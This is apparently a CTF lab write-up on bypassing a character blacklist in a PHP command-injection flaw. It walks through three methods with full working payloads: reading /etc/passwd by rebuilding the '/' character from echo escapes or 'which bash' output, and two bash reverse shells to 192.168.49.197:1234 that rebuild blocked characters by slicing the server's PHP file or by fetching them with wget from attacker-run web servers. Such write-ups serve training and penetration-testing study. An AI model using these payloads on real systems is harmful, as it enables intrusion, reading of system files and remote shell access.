Command Injection Limitations Bypasses
Let me put you in context: Yesterday while I was doing a box from the providing grounds, I came across with the following command injection vulnerability.
The goal obviously is to get a Shell, but I took this as if it were a real scenario, and set myself the next objectives:
- Obtain a Shell
- Read files
Buuuut... How could I get that? Keep in mind that all the characters in red that you see in the image below, and in the other images of the post are blacklisted and we can't use them.
Below I will tell you 3 ways to bypass this blacklist that I discovered. So let's start :)
Method 1
echo. It's not the first time that it saves me from a problem, if we read the echo manual we can see the following:
Knowing this, if we want to use a slash, we can do:
So I went to test it on the server, but the result was not as expected: The -e option was not being interpreted.
I'm not sure why this happens, but I think it's because of how the commands are handled when executed in php. After trying a couple of things, I finally got it to interpret it, by passing the absolute path of echo:
But there is a problem...
I didn't worry at all, because if we want to get the absolute path of echo, we simply have to put:
Therefore, it would be as follows:
Whoala, now let's create our payload to view the files, replacing the "/" char for what we have seen above.
Payload:
la ||cat ..$($(which echo) -e "\x2f")..$($(which echo) -e "\x2f")..$($(which echo) -e "\x2f")..$($(which echo) -e "\x2f")..$($(which echo) -e "\x2f")etc$($(which echo) -e "\x2f")passwd
Great, we have managed to read files. Applying this method (using either hex or octal) we can read all the files we want, or get a rev shell by echoing the blacklisted characters. Not satisfied with the results, I decided to challenge myself further.
So I imagined the following situation: What if "\" were blacklisted? We could not use it, so we could not pass hex or octal values.
Method 2
Our goal here is to get the blacklisted chars.
Where can we find them?
- In the binary paths
- Inside some files
Read Files
We need to get the character "/". The first place that came to my mind where there always a "/" in the output is with the which command.
So we can get a "/", as follows:
We create our payload.
Payload:
la ||cat $(echo $(which bash) | head -c1)etc$(echo $(which bash) | head -c1)passwd
Cool, we have managed to read files. I want to say that obviously inside $() can be anything as long as the result is a "/".
Rev-Shell
The process of getting a Rev Shell is perhaps a bit more tedious, because we have to keep in mind the following:
- We need to see which RevShell we are going to use.
- See what characters we need to get.
- See how we get them.
For the example, I have chosen this Rev Shell:
We already know how to get the "/" character. So now we have to think about how we can get the "&" character. Unless you are god and you know for each character you need, a command or a file that has that character, the best place that came to my mind where always are going to be the characters we need, is the php file where is the blacklist.
And you may ask? How can I get the specific character from the file? Rather than explaining it, I'll leave you with the following POC here
In case it is not clear what I do in the video, I will explain it briefly: The output of the commands executed on the server, are returned between two tags <pre>, hence I start counting chars from there. Then, in order not to be guessing, I count with bash how many characters there are until the one I want, (I miss by 1, there will be a line break that I have skipped) After having the number of characters up to the character we want, we tell it to show us again the file, but up to n number of characters, so that the last character that appears is the one we want, and finally, with tail -c 1, we get the character we are looking for.
Now we simply create our payload, replacing the "/" for what we saw before, and the "&" for what I just explained. So it looks like this
Payload:
la ||bash -c "bash -i >$(cat superadmin.php | head -c 228 | tail -c1) $(which bash | head -c 1)dev$(which bash | head -c 1)tcp$(which bash | head -c 1)192.168.49.197$(which bash | head -c 1)1234 0>$(cat superadmin.php | head -c 228 | tail -c1)1"
Whoala, and this way we get a rev shell using the characters that are blacklisted.
Some people may think that the this way is too complex or tedious, besides that we depend on files to get the chars we want. So I challenged myself once again, and looked for a way to solve this.
Method 3
And I came up with the following method. I asked myself, what if instead of looking for the chars in files and commands, we provide them directly? What do I mean by this? Ill give you a little hint below ;)
You see what I am saying, innit? You could say, and how do I provide multiple different characters? And I will answer you, the solution are the ports ;)
- Step, create the directories, each one with an index.html that will contain the character we want to use.
2. Create a python server on a different port in each of the folders.
3. Replace the corresponding characters with their respective commands
There was a problem, and it was that curl was not installed on the machine.
But there was wget. And after reading its help manual, I found the necessary options to perform the function we need, that is, to act as curl.
From other commands, I know that the output can be directed to stdin with -. So I tried setting -O - and it worked!
Let's create our payload to get RevShell
Payload:
la || bash -c "bash -i >$(wget -O - -q 192.168.49.197:8081) $(wget -O - -q 192.168.49.197:8082)dev$(wget -O - -q 192.168.49.197:8082)tcp$(wget -O - -q 192.168.49.197:8082)192.168.49.197$(wget -O - -q 192.168.49.197:8082)1234 0>$(wget -O - -q 192.168.49.197:8081)1"
It works!
When I got root on the machine, I went to see the write-ups to see how others had done it, and it turns out that they did not complicate their life so much, and had encoded the Rev Shell in base64. Any doubt you may have, you can ask me through any of my social networks. I hope this post have served as food for your brains, see you in the next. Fire it up, baby.